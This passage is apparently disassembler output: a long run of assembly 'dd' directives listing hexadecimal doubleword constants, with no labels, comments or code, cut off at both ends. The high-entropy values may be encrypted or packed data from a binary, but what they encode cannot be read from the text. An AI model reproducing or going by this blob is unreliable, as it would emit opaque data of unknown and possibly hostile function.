84792B64h dd 5F407DDCh, 0AB043EC9h, 0DB215D2Ah, 0C16DD95h, 0FF808480h dd 8B802999h, 0AF83BFD1h, 4F1A093Dh, 832B7AE9h, 2D1F9D22h dd 7158852Bh, 0F3C1504Ah, 0AB8B2B3h, 83DA7A64h, 2F4A6162h dd 0F44F3EB7h, 1209D0Ah, 47E92810h, 0D9B7270Eh, 0A912B45Eh dd 884AF8B3h, 8FB631DBh, 0B19B41E1h, 4A008B3Fh, 7488E599h dd 8B2031D9h, 0E2046282h, 5BF54901h, 95BF08E6h, 55793037h dd 0E78532D1h, 70ABE3E6h, 0B9B682AEh, 19102A20h, 0BEADEB80h dd 80F238FCh, 5F1EA8F3h, 0FF7F0F9Ch, 52F87349h, 2F12AAE3h dd 1488C02Bh, 0B26F03A3h, 927595E2h, 0D4BFD2F1h, 6B4A2099h dd 0DA5B22DBh, 88AC96DEh, 2D38E090h, 6184485Ch, 0B5010227h dd 29264971h, 0A9AD75DAh, 51946E30h, 15A839A9h, 0BACE278Ch dd 80F5CF1Ah, 55BBC278h, 5AB57C09h, 0A2EDE814h, 0C0C9A156h dd 2B2B5FD4h, 3C825E12h, 51EB54F5h, 0DDEB178Dh, 0BA8024BFh dd 293B021Bh, 0A95309Dh, 0E5BD31D1h, 1A3B4491h, 54D3350Dh dd 7171690Ah, 0D450BB00h, 1862C4h, 0DC0FB0BFh, 0CF66F496h dd 36497800h, 3156B624h, 0A4A14A8Dh, 0FF255B0Bh, 0C07F6DE1h dd 1D90C27Bh, 342DFEA0h, 1B5ABC5h, 1C988FEEh, 0F62704A2h dd 2F12DECCh, 37B2A162h, 0AB049284h, 0AF4AE77Ah, 0BE21A7C8h dd 8E9347FEh, 0ED1DA040h, 59BF2298h, 8060407Ch, 6125F1C3h dd 1A6A655Fh, 1A769711h, 0DB3300DCh, 5D5E71F3h, 854BAF64h dd 7093B2h, 0B105074Bh, 0F46A2D21h, 0CAFADA39h, 0EC31CCFBh dd 5FFC8A04h, 92AE8D29h, 0B8756016h, 0B51BC998h, 0CC2355DBh dd 4C327258h, 0FA25D959h, 0DF4AA362h, 5CA78054h, 0DE1BACC0h dd 0A00CAAFEh, 0B27AF4CAh, 0AF164A31h, 985AF86Eh, 0CE021FF7h dd 0A9FF9FC8h, 0A7455598h, 0F0E50h, 3D43EB4Ah, 6097990Ah dd 185230Ah, 1D085926h, 9061002Bh, 0BF505B51h, 583CE009h dd 0DE4FD434h, 2D9941Fh, 7B56769Dh, 52EFD712h, 0D353E86Fh dd 0CA621C01h, 68A545DDh, 6BC4AF6Dh, 0A8A485A8h, 0F8B580A7h dd 9FA26B41h, 0DF411652h, 5427FA2Bh, 0C30FDFB9h, 7BF61D8h dd 2A8D731Eh, 0BA8D4A78h, 46646829h, 2F8DBA58h, 6B24DD2Ah dd 13044B6Ah, 0FDBD0B56h, 575F0029h, 0B533F560h, 258F9AC1h dd 1BC65B61h, 31206FB0h, 0DB810014h, 919CB04h, 14ECFE9h dd 53A071F7h, 0AB1C09FEh, 0A74914D3h, 0A52571C6h, 95BA4455h dd 16F3FC2Bh, 7166D0h, 0F5D3BAFBh, 0C1BD2BB1h, 8BCC229Dh dd 67155CD9h, 2771F289h, 51577714h, 55F28EFBh, 1C64B34Dh dd 88CCAB64h, 0EF2B0AE3h, 25B6BAB7h, 467C685Fh, 8CCDBF04h dd 0C62E36C0h, 83EC0034h, 0D3804564h, 4EB75018h, 0C9CBBDE8h dd 5593BBB0h, 0B7043097h, 6989E6F8h, 6B05330Ah, 0BF1F0004h dd 0EE682826h, 614A4816h, 30F0C8h, 2701571Eh, 7DADC83Ch dd 0F3DFFD00h, 0F81A735h, 0B85F9583h, 62FE3Eh, 39B998DAh dd 0BD739D3Fh, 6F7F8C02h, 555BD41Eh, 4B1160C8h, 9E615532h dd 2FE256DFh, 5CA7B83Dh, 1F4B0523h, 0A3C1AFCBh, 92042EA9h dd 80901BBh, 17119E5Ch, 9BBBC84Fh, 3724BD01h, 0BE0DC183h dd 0C2FD90DBh, 255F70F2h, 2C5E336Bh, 3790FA8Bh, 0DCF9808Bh dd 939133D8h, 789D6200h, 3CF38153h, 483604B6h, 0ABF98B5Bh dd 99B5F160h, 16E48731h, 61DCB060h, 22D983A0h, 0A2FD67B5h dd 6C1495C4h, 45CC0D4Eh, 1DE9800Eh, 2ADA0BA1h, 23BE89A6h dd 3DB40E1Ah, 512F07A1h, 5DDD2CCEh, 4B0AB8F9h, 73E2F3h dd 0E6040BF6h, 913BF0Dh, 5F42DA89h, 68B68F60h, 74661497h dd 0D5EF97CCh, 80F9C40h, 4DAF0B5Ch, 470215E5h, 0E85A1DA1h dd 0FEA5397Ch, 0DB66929Ah, 0A87F7837h, 0DE30EA03h, 95029D1Ch dd 8B1487FAh, 12789E6h, 0FF786A95h, 149193B5h, 19F94C87h dd 129EE655h, 0AD3451BDh, 9EB8D2B2h, 9162220h, 80C44D85h dd 463D5BEh, 0FF1DE5BDh, 209D7928h, 82950A85h, 5572DEA4h dd 45D372BAh, 4F8B8451h, 8A786CA0h, 9FB96384h, 2300E71Ch dd 3878B837h, 0B7DF0061h, 7DEBD25h, 0F10955FEh, 809B6A7Ah dd 4CE0E92Ch, 9A5B4B77h, 0C11BC835h, 0DAA7CBA1h, 56A6CAFDh dd 0D5CC693Ah, 14C9BD12h, 0F92540E7h, 0FFD333C2h, 3FAEA370h dd 0E7804738h, 0E0C44CAh, 2527BD03h, 0CB325415h, 228E2A35h dd 94F841B5h, 4C684CF5h, 8954C889h, 0F5258253h, 0B85B1F84h dd 70F8C972h, 0B4F9F41h, 931DB660h, 5F4D90EEh, 0FD1A5605h dd 7DA9BC12h, 2AFB0B01h, 955D7B5Bh, 0DEE74068h, 0FE274B09h dd 590CF3B1h, 50711815h, 12B6E6C0h, 0C461FBE0h, 0D8B0D2B9h dd 8052C148h, 5FD0EF12h, 9CAEC075h, 0E5219DA5h, 0C092E908h dd 269109C8h, 8F93C082h, 96613A23h, 0AA16F680h, 0FE8A504Eh dd 0CF0481F2h, 150AD3C0h, 0C8B0DABFh, 0D7D5C119h, 0C55EC1CCh dd 0B5A2E081h, 0B713EE1Ch, 0B73CC625h, 37B94E10h, 0AD037E72h dd 245F6E2h, 98C590B5h, 4A50F8Ah, 4DB4E5C8h, 85BD2981h dd 0C3CB6A26h, 0AAB01D56h, 2C09C835h, 71F9F8FDh, 9574718h dd 0B5F4D454h, 4E95AF4Ch, 1235973Ah, 0CEF54E00h, 0E22D4C6h dd 208DF821h, 4E112F7Eh, 0A3DB6A1Fh, 8023DA5Fh, 0C7166FE7h dd 1960C43Dh, 0CFE9041Bh, 0BB4622B8h, 45E053F0h, 67C4C0Bh dd 0FC642Ch, 0F14A7DA8h, 0BEF7F3C1h, 3244EE03h, 0D58B1ECBh dd 6C06BDBh, 1EBF4678h, 54C9A425h, 7F1E2EBh, 6A440909h dd 0D5FE5DF8h, 0B04121FEh, 0F760D5A5h, 4B045718h, 62CB46FCh dd 0B0D3A8E8h, 502F5B83h, 7FB80953h, 485430A9h, 11C700DCh dd 0BF768E0Dh, 35122B4Fh, 0BB96A3Ch, 0FD56F2BDh, 911B918Ah dd 0AD290A41h, 2EA01537h, 8E1498F9h, 10C4CCDBh, 0FC6901E9h dd 8A009258h, 57BB50D9h, 0AA6721E1h, 0CE545D88h, 0DBD9CB4Eh dd 8433D0A0h, 800E787Ch, 0BD18789h, 0CF4B80EDh, 0B56A0F74h dd 35E04F4Dh, 12236710h dd 0BE334D9Dh, 4100FEF3h, 20D9D2B8h, 9F043011h, 0F623B197h dd 0DAD39DB9h, 0BFFB8068h, 0BBC477Dh, 0EB8D055Bh, 40981555h dd 7B462C1Bh, 44F6A300h, 0D1FF4F7Ah, 0B19D1629h, 0E211B817h dd 3B802976h, 26AB656h, 0C13D0CC4h, 1A809FBCh, 920FC6CBh dd 95DF8F00h, 60506940h, 0A2ED1EB9h, 0A8F0276Ah, 0DBE6ABBFh dd 651D701Eh, 0D9FC7400h, 587C7E5Ah, 0B6FE4B8Bh, 3115B298h dd 55E03F7Eh, 51A59571h, 0EF38AB61h, 9D929014h, 60EEBD4Dh dd 0EE801345h, 0FC834A0Fh, 7D8CA0E5h, 0F82A0046h, 2B4E014Ch dd 0E2057EE8h, 1CFFAC69h, 0BAAD34D4h, 0C1440CADh, 0A94C800Bh dd 2F07F69Fh, 165CAD09h, 25DC44AEh, 437E0CCAh, 0E24FFB09h dd 1F7B5535h, 4A73575Ah, 0F74D7A09h, 0DFFC9118h, 0E22BF804h dd 0C2BFB794h, 0C65C1187h, 250A5652h, 690A566h, 2B281607h dd 4DE96A45h, 80BEC026h, 7A0265A3h, 1DBD0386h, 25B45A05h dd 1A483509h, 65950739h, 5E4011B1h, 0A201A1B2h, 0EEA3735Bh dd 88C845D7h, 0B04C5FF4h, 91988D3h, 417E70E6h, 0E4172210h dd 89338C71h, 214E1DFCh, 8CD3DA8h, 39940371h, 8075B8B4h dd 52B43EBFh, 21BA5007h, 0A573B157h, 1981307Fh, 0C8F04E4Ch dd 0AF010F50h, 2CD1FBC6h, 5A30C234h, 835C0E3Ch, 12365F94h dd 2076B1F1h, 2840799Eh, 95FC7F53h, 63A1805Bh, 40135D25h dd 7081D1B1h, 370B0C18h, 18A0E923h, 970D31F6h, 47557710h dd 0CC534925h, 0E5B52A9Fh, 815B4F89h, 6A7F14A6h, 25BDCBA4h dd 61562C51h, 7BBF6640h, 8924979Bh, 30BE5731h, 420EDF9Ch dd 9563D700h, 0F8EA206Ch, 51A8028Ch, 0B0EB8191h, 0D77110F5h dd 0AE8000D3h, 0F8487ADFh, 0E92A5F5Bh, 5D2D623Eh, 0ACE35B01h dd 8351A51Fh, 99B52940h, 0E065B514h, 0E03C3237h, 67B34DF7h dd 0A8408942h, 0BA064AC1h, 0A5723677h, 0BDCD75ACh, 7AFE60E4h dd 2C53F6Bh, 862A2CBFh, 2F28C060h, 12EEB9Dh, 0A74FC212h dd 0F470EC5Ah, 61019612h, 6005E2E3h, 0AB02F181h, 8CBB34C4h dd 0B92461D5h, 99351B6h, 551DE909h, 1C117BB5h, 56F7FB80h dd 0C8007D46h, 0BF1B5AE4h, 255399EBh, 64D56049h, 0FC6124FAh dd 28A038B4h, 0D9C02B2Fh, 6DDD25C4h, 0D22B8976h, 0DC6476h dd 6ACBCEE0h, 6B9DE722h, 0E3817E01h, 5B83EB28h, 23407F2Fh dd 1A700217h, 0C37B45B8h, 2F9A770h, 0CADF3E37h, 9E8756E9h dd 0F51208E1h, 8504BF2h, 0F2D1357h, 0B8372482h, 3E4081CDh dd 0EA2E5912h, 0D5C43609h, 19918435h, 201C9380h, 0CD62E2FAh dd 5510F596h, 8B27FAD3h, 5EC954FFh, 5966F39Dh, 57C8BF6h dd 0F4425C20h, 0C656782Dh, 48BF02FEh, 5F6815F2h, 8C53A45Eh dd 0CBF9DEBAh, 2661517Bh, 0BEB302AEh, 0CA5E33D2h, 4AEDD04Ch dd 0B5A6AC16h, 0C0A925ADh, 552F02A5h, 5ABE70EDh, 4EE4B68Dh dd 2FA07DF6h, 0BB04ACECh, 35590DDDh, 0AEA29BBCh, 831A911Fh dd 880BBB57h, 0A0496E3Bh, 0F13592h, 0DE8A5CF3h, 1260C8BFh dd 0ACCA6D4Bh, 4E1FFD4Fh, 9FE02DE6h, 0F2D1CF1h, 4096F985h dd 0AC557BC0h, 8F40CB05h, 5C80721Dh, 13F817DBh, 1522733h dd 0D5EBC7B0h, 5E51E4EAh, 45B39C97h, 0D23B3005h, 38B20909h dd 73165B60h, 99358580h, 69B4A800h, 0EB01BBDEh, 0C5664BE1h dd 0B997B98Fh, 0D652666Bh, 509F1F09h, 1E3EF932h, 627D015Ah dd 7B7003D7h, 222EF9B5h, 5B1A93A1h, 6A4051B6h, 16C8B59Ah dd 8F279AC1h, 0C520FA2Ah, 5712A29h, 0B531FCF7h, 61E9E09Dh dd 0B5A4BA97h, 63F08059h, 3205BEFCh, 4A24025Ch, 901F17B9h dd 27C26D8Ah, 0BCC55BC3h, 0FFD481E1h, 0F22EE6B4h, 9D29C4A5h dd 0AF35C9AFh, 0C0AA4D96h, 38574F29h, 5112A600h, 89F30C3Bh dd 1EDD259Dh, 0C5209572h, 94149719h, 5D20504Ah, 74B6A915h dd 8953008Bh, 0A7D01BE0h, 0D27B8372h, 64A87DD7h, 0C964AB4Bh dd 283B20AAh, 0FE00B138h, 0E8728ADFh, 1D92B23Fh, 1685834h dd 0E5334C02h, 0A951E2FBh, 3B931800h, 3ED37B16h, 0E983ACA4h dd 0D9BD2B84h, 5AE7AB9Ch, 0B599BF40h, 6ED2945Bh, 8071480Dh dd 0A54C0274h, 1CBE97Ah, 3FF4FAFEh, 0EC89D470h, 6C803653h dd 4158D7E5h, 59925B9Dh, 1F491817h, 0DD32F777h, 4C0EC4D7h dd 0D0BEBC5Eh, 33E11685h, 18D8DEB9h, 0BA971755h, 47D199h dd 2925AB6Bh, 77015915h, 8EB3B107h, 0B12EE13Ch, 0BCD6391Dh dd 0F6EF00F0h, 0DB8C5928h, 0BCC70BFAh, 1D85CAE0h, 624B12EAh dd 0B8606603h, 8E97ACE2h, 0C58D65AFh, 502F28B8h, 7869E9FCh dd 2629BC0Ch, 0B201DE05h, 9D01DB79h, 9C6B0589h, 0DF008074h dd 0BDAE688Fh, 2552676Bh, 815DF98Bh, 74BE51EEh, 0A5B151EEh dd 46D65E56h, 7964001Bh, 9AFF3A95h, 20544A7Ch, 0E1298991h dd 0B6C4E800h, 0B11571B8h, 0D48A04D1h, 8C50F936h, 377B5FBFh dd 0BEA9ED00h, 6343D128h, 38AF0021h, 739193CEh, 3CEBDE71h dd 16F65A69h, 9E1BEE4h, 0EF044A28h, 0ED5F2CCDh, 549AD67Fh dd 7E7B5380h, 6C394193h, 0CA57952Ch, 9D0905F4h, 9EA92679h dd 0C3DBD09h, 83447A7Bh, 0E5CE8CAAh, 838A414Bh, 0AB103327h dd 0E98021F1h, 0A73AE143h, 0EC1EA078h, 0C4B904ADh, 0EE166131h dd 72BF850Eh, 5BBAA7F3h, 0A4A088B6h, 0F19076Bh, 0B7190289h dd 5AA3F8EAh, 0E11CAC30h, 9E7E0409h, 0D9D485B0h, 5ADFE92Ch dd 80B99E03h, 841BE467h, 8A920820h, 0C88012E8h, 0C39B4B14h dd 0E41500A2h, 0A88EC7D1h, 927ED253h, 510F5517h, 0ABC1A880h dd 8A2AE35Fh, 7E35A067h, 9CF00BA5h, 9C55EB1Eh, 64BD0033h dd 0F723400Fh, 960043EEh, 0C678281h, 954FEF7Fh, 55699876h dd 1A917EB5h, 0F18DBF92h, 9E6CC6Bh, 0A408571h, 4003BE50h dd 5E569F69h, 2BAD43Ah, 0CEAB7E43h, 97C65E9Ch, 24C1ED95h dd 1917C30Bh, 57F16FAFh, 0BBBD0949h, 82DF79D9h, 3391B529h dd 42C2D15Dh, 4A1426BDh, 0C4FBADF9h, 3C290BD9h, 9D030DD4h dd 122E4571h, 2F04AA87h, 6EAB2050h, 507A003Ch, 3FA587DDh dd 848F5829h, 0B90BCD12h, 8C15BCC2h, 2BBAA402h, 841A299Dh dd 75BDDE63h, 4FBB1CADh, 0A6EB542Eh, 0FFBD5A01h, 0F63F6A5Bh dd 0A4FAF0F7h, 34DC2DF5h, 14596A7Bh, 23504618h, 0EE950FD1h dd 278DB00Ah, 11663219h, 0D55E10B7h, 0C95A03C2h, 0A203E991h dd 0AE2FDEC0h, 871F4C3Eh, 0FBFBDCCh, 56FB6B1Eh, 1446DC8Ch dd 0BD332602h, 6E751DB1h, 95099505h, 48468471h, 0EB8C8D41h dd 1019F440h, 0B6509680h, 51BA0734h, 0F8F21E59h, 0EFB2C331h dd 46968A61h, 0EABF4BF0h, 98199580h, 0F0A739AEh, 28868FABh dd 86540B08h, 0FF815A1Ah, 0FE2373CCh, 6BB04DD5h, 0B7045153h dd 88EAE22Ch, 0D4908CB2h, 7B20752Dh, 18157943h, 278B7AAh dd 7853A7E5h, 0C51A97A1h, 24A258E0h, 6BA89497h, 637B4D69h dd 278E8B70h, 0D2D039A4h, 1FA83A97h, 84029C28h, 0BCF997BBh dd 0B86E4BA2h, 0B5B13109h, 1DD9BA7Bh, 0DB73E318h, 0C66D6200h dd 0D09E75C9h, 0F2BB2FE9h, 0A383F704h, 2FFB39F8h, 5637C1h dd 9BB0D6Ch, 0D1B0D72Eh, 0FA8D5738h, 0B7AD3827h, 538B803Fh dd 0C6F680A7h, 0B99D198h, 2031F825h, 5BE01469h, 48DC8080h dd 0AD12B920h, 0C25E9D16h, 307399D7h, 47D3A108h, 1EAD53C8h dd 7A9168h, 0FBB6D970h, 0E009BE61h, 459F673h, 5884DD4Fh dd 0C0C5DBEFh, 5009B593h, 0A5BB06F2h, 4A5E65EFh, 8B6034BCh dd 0F4EBC0h, 0EBD40ABh, 7E44A548h, 26367300h, 51142B9Ch dd 0CCA20064h, 0B6DF0104h dd 1B0177C0h, 465729B8h, 92C08B27h, 0BAEE076Ah, 0D040ED9Ah dd 0EA532352h, 0CC036100h, 333B3121h, 0A8D001DBh, 0ABE1504Fh dd 0AE92E06Eh, 2B35161Dh, 48DDC602h, 0B1E660F6h, 66D9E2EAh dd 214009A9h, 89FE6800h, 0FBE48163h, 0E67BB5h, 69938373h dd 63CB44Bh, 61E1CC3Ch, 0FB28B730h, 0D3DED5h, 6D85FD10h dd 8A945423h, 6C5CCA19h, 2180C408h, 706D7D98h, 0B003BE6Bh dd 118E8D43h, 2BEF90DAh, 0C0D66D83h, 30309D88h, 0C9467806h dd 85E60011h, 994FF6EBh, 4766AA4Ch, 9821E009h, 3EEB00F9h dd 0DE21CB9Fh, 0A9005324h, 17776E44h, 2840F798h, 0D8CB7B1h dd 0D3C71B27h, 88340B70h, 0A660C3E1h, 2BF16598h, 2EF46300h dd 1BB196BAh, 58C9607Bh, 8E0548C5h, 1C46C4A4h, 8389F002h dd 3E31DAB1h, 89F86E10h, 0F2F09818h, 7D3B27A0h, 5158C0F7h dd 0D55A131Dh, 0C07C2B00h, 12AF1582h, 0BB533EA2h, 7FC50280h dd 0D0A7A9F5h, 80EF3500h, 0E7294E40h, 50621E38h, 9B094032h dd 482CC925h, 0BB60411Eh, 4E382380h, 2A0431h, 0C9E7CCDAh dd 50086D86h, 550147EEh, 2EC0E512h, 3BE4C617h, 70C7005Fh dd 4E96CEB1h, 923B1DAEh, 130E8F60h, 8F0F2E68h, 3807E759h dd 0BB24CBA0h, 9AA83B5Fh, 28C04219h, 416BDC59h, 21003778h dd 5D049690h, 3BF66E7Dh, 0C117BBA2h, 58961892h, 0D8094893h dd 37EAE91h, 3A5915EBh, 79406420h, 0F6309BF0h, 0B6331110h dd 9A6B010Dh, 9212EAC5h, 0E108BE9Dh, 0DAE5621h, 2C3ED4h dd 0E8645F58h, 42363B24h, 6AA1C960h, 180B30Bh, 0B956BE9Bh dd 9F01F7AEh, 7F434941h, 8813B676h, 71AAC847h, 0FF9000Ch dd 6979418h, 0E307CDC1h, 0E199A8BAh, 127B2741h, 0AB137800h dd 9411262Ah, 1C492E18h, 197D4736h, 8578FCAh, 50218923h dd 0DE240041h, 30E475h, 4738985Eh, 5BE23712h, 0C80F5E96h dd 0EAA5201Dh, 28EE200Ch, 5BC2817h, 2E869796h, 0BF9C00E4h dd 6F05D54Fh, 3FCE4D18h, 8003CB40h, 4BF01B99h, 10C11EF6h dd 32A19874h, 2588584Bh, 4C44FCC0h, 0A84ABBDh, 58254778h dd 6B811DCh, 30971698h, 0CF4D0FA8h, 6482C31Ah, 28485CFBh dd 0D17E9079h, 32BAE203h, 308ADA17h, 9F217608h, 6872D198h dd 0F8AFAB00h, 0D9E782E9h, 645009Ch, 1D279293h, 31C10896h dd 14877B8Ah, 5A52F187h, 4146C1A4h, 0EEFC50CDh, 0B601D06Bh dd 5D377A47h, 898524Fh, 638B21D2h, 4B90D004h, 8D800560h dd 207983Fh, 5F929BE7h, 0D4801466h, 52DB1135h, 0E2CCA80Ch dd 8116E0E1h, 897185Fh, 82E24AD1h, 9A4071C4h, 72F1D19Fh dd 8E2D8301h, 589EF7DAh, 10E9D806h, 408B7B82h, 9E149B33h dd 14F88108h, 90DC7651h, 1AC23E4h, 97951C48h, 8827184Fh dd 1C0F4051h, 7C0F01h, 18755C15h, 1A630F17h, 0DC940716h dd 3DEF311Fh, 7202B582h, 5900C242h, 38FD55h, 0F44B8094h dd 971A9017h, 0CB439C00h, 14639296h, 77E6009Eh, 765FBE49h dd 0EB0F9082h, 8C9641CFh, 7984C0CBh, 5BFA1D01h, 21C3C1FFh dd 3017D54Dh, 9E0C0412h, 40474B0Eh, 0C59B1843h, 28385894h dd 16F74D00h, 0D3996A4Ch, 877314E4h, 3904901Ah, 1FDBE28Eh dd 1FF70D04h, 0D4440E00h, 0C58B2D7Fh, 0D0FA0403h, 5C1000CBh dd 8F8A3BAAh, 0DD006AD7h, 2F980DBEh, 0C831ECh, 0FD6C1C7Fh dd 83533548h, 0C3F2C700h, 0B72693B0h, 58A500E4h, 85761665h dd 0CF0F1C50h, 2020A003h, 3A249A0Fh, 23920F58h, 358067E2h dd 0A2B9FAE9h, 28795D07h, 6120C4B0h, 106CA46Eh, 0FC5BF27h dd 80C9ABA1h, 12A0D09Ch, 600202C7h, 2CB6854Bh, 73585E40h dd 2ABD9601h, 0F45AEB77h, 643B20h, 8CF5B1DAh, 56279B22h dd 0A57B5205h, 44C767EDh, 540F861h, 43AE4h, 0D4472B8Eh dd 0A1FF65F3h, 10B3D4EDh, 8AC7A403h, 0C0DBF82Dh, 3F24A3Eh dd 8FD959BEh, 0B8E8DA31h, 3600F516h, 0A555F85Eh, 0CB08F1h dd 7A8D2257h, 3EDDFF4Eh, 0EEF24Ch, 4BE0B609h, 0EF8408h dd 1B8A41A4h, 1B96FAAh, 1C005A75h, 3B70BC66h, 0B1C2C3h dd 7BB79D61h, 0C8B8EBC7h, 34AE21C0h, 0A9F8F0Fh, 2AB9FCD6h dd 188B0180h, 80BBFDB7h, 0D2DE0111h, 186312Ch, 0C4FE2011h dd 314069EDh, 0DE808978h, 5004208Eh, 6E4F0Dh, 305B5C46h dd 7EA1BD99h, 918CB20Ch, 4976402Fh, 0D8001C62h, 6B25015Ah dd 46E87095h, 4603100h, 2282D7E3h, 2DFD0045h, 9BB02E49h dd 0BE007637h, 0E1A7E243h, 933374h, 0EEE5CD17h, 8463C63Bh dd 136C3138h, 0E700DBE7h, 5410E149h, 877233h, 50C51C73h dd 0A8AF896Dh, 0BB2AE338h, 47AE0149h, 9C3ACA71h, 6D1B8C40h dd 0AD5603F8h, 541EC75Ch, 81683FCh, 0EE1DB890h, 7713C200h dd 2893382h, 0B7E658BAh, 0AB490900h, 0E0F6DB05h, 2E008B73h dd 40C0FCEBh, 1E3F9638h, 9EF71061h, 860B8294h, 8840DACDh dd 0D000726Bh, 0C16EFE7h, 753E0EBh, 0D5DC37CFh, 87FBF2CCh dd 0EC1CB448h, 9CDDB70Fh, 3F4A006h, 88643Fh, 0A1835BE7h dd 683B37D0h, 844E500h, 8FAEC152h, 5CFC3EA3h, 0FE199B81h dd 81E691B4h, 0BD18EB20h, 0D824AE5Ah, 60A300DBh, 0BC651690h dd 5700EC66h, 0E3DE8B8Eh, 1CE52A7h, 0E5BB11B1h, 0E45EF540h dd 0C700A004h, 95932F44h, 8B9974h, 591A6524h, 0CDBC8447h dd 0B7DC3809h, 6114A043h, 3219058h, 4CB96E9Dh, 2E0738E2h dd 0E6A07C57h, 6732AD0h, 0F8BB00A8h, 51ABECFBh, 3509A60Ah dd 2E83A599h, 0F6CA002Ch, 3623909h, 5210ED8Ah, 0D807E40Fh dd 0E53AB64Dh, 5C9A2B0h, 783C008Dh, 634B931Fh, 0C805DFE0h dd 0E4C352EAh, 0F26B004h, 89A94141h, 1CC3F667h, 0FC8046AAh dd 0DFCB20F3h, 9023A701h, 79E2B275h, 95DC0ADDh, 0F9490F8h dd 27D52C6Fh, 5E01140h, 0E830C08Bh, 0BCDCB92Ah, 0C477003Fh dd 0F943ED0Eh, 6D01BDB1h, 3875D97Fh, 0B8244762h, 5D5E003Dh dd 13F52C57h, 0BF0FA50Eh, 0AC6E03h, 0A8FD5F1Bh, 33E90729h dd 0D00D10F4h, 0CAEDD1DDh, 0C4CE4600h, 3C5F9836h, 729F001Ch dd 7859FD8Ah, 0A53D1635h, 5140074h, 694A0ACDh, 19371D44h dd 70FB7B9Ch, 48EB00ACh, 0E29FBC41h, 3400B915h, 55C086E1h dd 30B0C9h, 88683D43h, 0FD147CEh, 0F807840Ah, 0AF80A0EEh dd 0CFF0CD8Ch, 0EF40128h, 7CBDE6C0h, 3AC880C9h, 6E2BF7F8h dd 76DC0792h, 6030411Fh, 9014653Bh, 80478339h, 0E8B2C0F0h dd 18DF6384h, 0D85FA2F7h, 0C2008980h, 0F9CC7F53h, 93FB895h dd 916122B9h, 292E28A0h, 381618C4h, 4005B63h, 0F00F45E1h dd 11616099h, 0DE8D8C53h, 1CC76700h, 8F260C9Bh, 9F48024Bh dd 999CF6BFh, 6B3D3040h, 9D973809h, 4A382078h, 49356657h dd 110064B9h, 0CB1C7B40h, 0FC09DA0Bh, 19B54Fh, 0D3C37F9Ch dd 382F60D6h, 41B875ACh, 0C6374905h, 0C80B1983h, 13A9005Dh dd 0CE3CBh, 0EA5E4CB4h, 62CADFA5h, 0D9B8F0C0h, 3CF795E6h dd 8407D706h, 26979F37h, 0EB002064h, 1B39FC4Ch, 0E8EF6A22h dd 0B9C7000Bh, 34824303h, 8400A7EBh, 0F60F1319h, 900CE42Dh dd 0EAA5003Fh, 0F4E78068h, 0AF01BB88h, 9FCFACA6h, 0B1D02C85h dd 0E9B40044h, 0B9BA1281h, 92001A9Bh, 0BEC823ABh, 3A9C74EAh dd 3284E1EBh, 0C07E8CB7h, 0B2D599E9h, 0DF68E00h, 0D068725Ah dd 1D770040h, 0D1941518h, 1400B7EAh, 0BA0DC542h, 1C49CAh dd 0E0DD7B80h, 0A362C360h, 1D052974h, 3167C31h, 0B2E1BC40h dd 0FE02311h, 0A513DCF7h dd 0EB740540h, 8F1D84D7h, 3DC0E91Bh, 5CC97F9Ah, 0C4B7008Bh dd 0EE4E5BFFh, 0F54C3073h, 58540036h, 1B3BA0C8h, 9050002Fh dd 7FBF6448h, 62009A4Fh, 3C785EB5h, 428516h, 2AA21331h dd 0BC0FC38Ch, 9EE8B47Ch, 1000F57Bh, 2832EFD0h, 4ED479h dd 5B8CF9AFh, 0F2AE567Bh, 70017A00h, 0BD2576DAh, 0A310C0F3h dd 7C5AD7A9h, 4B54FF01h, 0B531CF89h, 0F22C61D4h, 0DDD50F7Ah dd 77234Ah, 3950E363h, 450021F1h, 17BBC822h, 90259056h dd 52C30584h, 90DABFCCh, 19BE8FBCh, 0C6A44500h, 8897FFBDh dd 143713EBh, 66600080h, 315B3A9Dh, 0E50702EAh, 4D2A7EDDh dd 3C531750h, 2E798Ch, 604C9119h, 8AE2BB87h, 0F5456D00h dd 926AD6B1h, 71B900DEh, 34A3C4A0h, 0CBFA475Eh, 79C124Dh dd 495DFB91h, 0A6B53780h, 18086178h, 0E07D2F97h, 11CF1803h dd 769D010Fh, 0F0D38EF6h, 0EA7598h, 4F5DD791h, 48808CD1h dd 1C921E00h, 84EB0F43h, 0C0E14039h, 0B6DA900h, 0C148ED47h dd 803D6F23h, 0DA373201h, 2417D1CAh, 0DC0048D0h, 859A1222h dd 0EE97EAh, 4E16A5E2h, 4232D2E4h, 8F762FF0h, 14205D4Dh dd 1680FDAh, 927D1F95h, 91D1270Dh, 6100A1BBh, 4631542Fh dd 16000382h, 8E47AB4Fh, 5C15BBh, 0EAF30D0Bh, 4571A420h dd 61426E00h, 6F89D87h, 98913EB5h, 0C7D62E00h, 0F17E8172h dd 0B1276A00h, 0AEDC7AB7h, 0E73B00DFh, 0A56FC0A2h, 0A00F5A1h dd 7A3FAC58h, 8BE455h, 76599319h, 7099497Fh, 9CB46800h dd 0D023281h, 25730020h, 0B0FA396h, 1B01A561h, 0CEB90AAh dd 5BCC9934h, 2D7962h, 0CE746754h, 1AA91D79h, 0C73D6571h dd 99E38010h, 0D8DA15E1h, 87540031h, 0F84F41FCh, 2D25B852h dd 630F00DEh, 3822996Ch, 180284Ah, 51CC43E6h, 7812C806h dd 0A4CCAF13h, 901C084Dh, 2AC46797h, 1C455440h, 983EA248h dd 0D02C185Ch, 0F8A41D8Ch, 2980E927h, 727C0426h, 8B0017A5h dd 0F6DCBF45h, 0C584CDh, 0AA9B479Fh, 1C14665Eh, 90A8F3B0h dd 3A30C3CFh, 0DED4188Bh, 0BB2206A7h, 2082A25Fh, 420EA413h dd 867708Ch, 5A47B2D0h, 8F40D4C4h, 3DA0D05Fh, 61FCB00h dd 2B92AD97h, 4243019Ah, 0AE930968h, 0B970B164h, 79F0730Eh dd 0E21C2807h, 0C345084Ch, 720F662Ah, 0ECD107BFh, 138DFE3h dd 0C1C9A8A0h, 46A331E9h, 9A0D28D5h, 201E3FEEh, 304796F9h dd 222898FEh, 19988074h, 6802250Fh, 914C206Fh, 241EAEh dd 6BF8FF28h, 7C65CB9h, 8344D700h, 898A67CBh, 0C5120065h dd 9FA1EEF0h, 0A302DFC2h, 0CE3260BBh, 3959609Ch, 0F90D1DC3h dd 0DA710553h, 8723C00Ch, 766F0589h, 4AFE0051h, 5FC37Bh dd 0D533B9D9h, 8601B5C0h, 7FB89707h, 1CC6117Eh, 0A0A40010h dd 5819EB46h, 68D8F6B2h, 0A8F818h, 26BA25ACh, 652EDB7Eh dd 0B939B018h, 0BC7A048h, 70CDF191h, 0E656A001h, 58BEE0DDh dd 5A893761h, 0C703BADh, 23714Bh, 88921055h, 